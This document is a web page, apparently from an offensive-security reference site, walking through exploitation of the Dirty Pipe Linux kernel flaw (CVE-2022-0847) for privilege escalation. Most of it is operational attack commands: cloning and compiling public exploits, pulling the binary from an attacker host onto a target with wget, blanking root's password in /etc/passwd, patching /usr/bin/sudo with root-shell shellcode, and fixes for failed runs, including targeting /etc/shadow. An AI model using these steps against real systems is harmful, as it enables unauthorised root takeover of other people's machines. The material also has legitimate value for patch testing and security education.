Skip to content
HackIndex logo

HackIndex

Dirty Pipe (CVE-2022-0847) – Linux Kernel Privilege Escalation

4 min read Jul 10, 2026

Dirty Pipe is a logic bug in the Linux kernel's pipe buffer handling. Page cache pages can be marked as writable even for read-only file-backed mappings, allowing any unprivileged user to overwrite the contents of read-only files — including SUID binaries and /etc/passwd. It is one of the most reliable kernel exploits available: no memory corruption, no ASLR bypass needed, and it does not crash the system.

Affected Versions

  • Linux kernel 5.8.0 through 5.16.10

  • Linux kernel 5.15.0 through 5.15.24

  • Linux kernel 5.10.0 through 5.10.101

Not affected: kernels below 5.8 (pipe buffer splicing introduced in 5.8), kernels 5.16.11+, 5.15.25+, 5.10.102+.

Prerequisites Check

Check kernel version:

user@host ~ $ uname -r

Confirm you are in the vulnerable range. Also confirm the build date — if the kernel was built recently it may be backport-patched:

user@host ~ $ uname -v
user@host ~ $ cat /proc/version

On Debian/Ubuntu, check the exact package version:

user@host ~ $ dpkg -l linux-image-$(uname -r) 2>/dev/null | grep ^ii
user@host ~ $ cat /proc/version_signature 2>/dev/null

Confirm there is at least one readable file on the system (any non-empty file works — the exploit needs an existing page cache entry):

user@host ~ $ ls -la /etc/passwd

No special privileges, group memberships, or capabilities required. Any local user account works.

This variant modifies /etc/passwd to create a passwordless root account. Extremely stable — pure file write, no shellcode.

Step 1 — Get the exploit:

user@host ~ $ # On attack box
user@host ~ $ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
user@host ~ $ cd CVE-2022-0847-DirtyPipe-Exploits
user@host ~ $ gcc -o exploit-1 exploit-1.c
 
user@host ~ $ # Transfer to target
user@host ~ $ python3 -m http.server 8080
user@host ~ $ # On target
user@host ~ $ wget http://$LHOST:8080/exploit-1
user@host ~ $ chmod +x exploit-1

Step 2 — Run the exploit:

user@host ~ $ ./exploit-1

The exploit:

  1. Reads the first line of /etc/passwd into a pipe

  2. Overwrites the x password placeholder with a blank entry

  3. Executes su root — root now has no password

Step 3 — Authenticate as root:

user@host ~ $ su root
user@host ~ $ # Press Enter at the password prompt
user@host ~ $ whoami

Step 4 — Restore /etc/passwd:

The exploit attempts automatic restoration, but verify the file is intact:

user@host ~ $ head -1 /etc/passwd
user@host ~ $ # Should show: root:x:0:0:root:/root:/bin/bash
user@host ~ $ # If blank password remains: root::0:0:root:/root:/bin/bash

If the password hash was corrupted, restore from backup:

user@host ~ $ cat /etc/passwd | head -1
user@host ~ $ # Restore the x manually if needed
user@host ~ $ sed -i 's/^root::/root:x:/' /etc/passwd

Exploit 2 — Overwrite SUID Binary

This variant overwrites a SUID binary with a shellcode payload. Useful when /etc/passwd modification is not sufficient or when you need a persistent binary.

user@host ~ $ # Compile
user@host ~ $ gcc -o exploit-2 exploit-2.c
 
user@host ~ $ # Transfer to target
user@host ~ $ # On target
user@host ~ $ ./exploit-2 /usr/bin/sudo

The exploit patches /usr/bin/sudo with shellcode that spawns a root shell. Execute the patched binary:

user@host ~ $ /usr/bin/sudo

You get a root shell. The exploit attempts to restore the original binary after execution — verify it was restored:

user@host ~ $ md5sum /usr/bin/sudo
user@host ~ $ # Compare against known good hash or reinstall

Compile from Source (No git Required)

When git is unavailable on your attack box or you want to compile a single file:

user@host ~ $ # Download single source file
user@host ~ $ wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-1.c
 
user@host ~ $ # Compile
user@host ~ $ gcc -o exploit-1 exploit-1.c

When the Exploit Fails

"Segmentation fault" immediately: The kernel version is not in the vulnerable range or is backport-patched. Check uname -v for build date.

su root fails after exploit: The exploit ran but the system uses shadow-only authentication. Try writing to /etc/shadow instead using the same technique — compile a variant that targets shadow.

"Permission denied" when running the binary: Confirm the file is executable — chmod +x exploit-1.

Compile error on target (no gcc): Compile on your attack box targeting the same architecture, then transfer the binary.

Why This Works

Pipes in Linux use splice operations to move data between file descriptors without copying. A bug in the pipe buffer's flags handling allowed the PIPE_BUF_FLAG_CAN_MERGE flag to persist across splice operations, causing subsequent pipe writes to overwrite the cached page of a read-only file. The kernel patches this by clearing the flag in copy_page_to_iter_pipe() and push_pipe().

References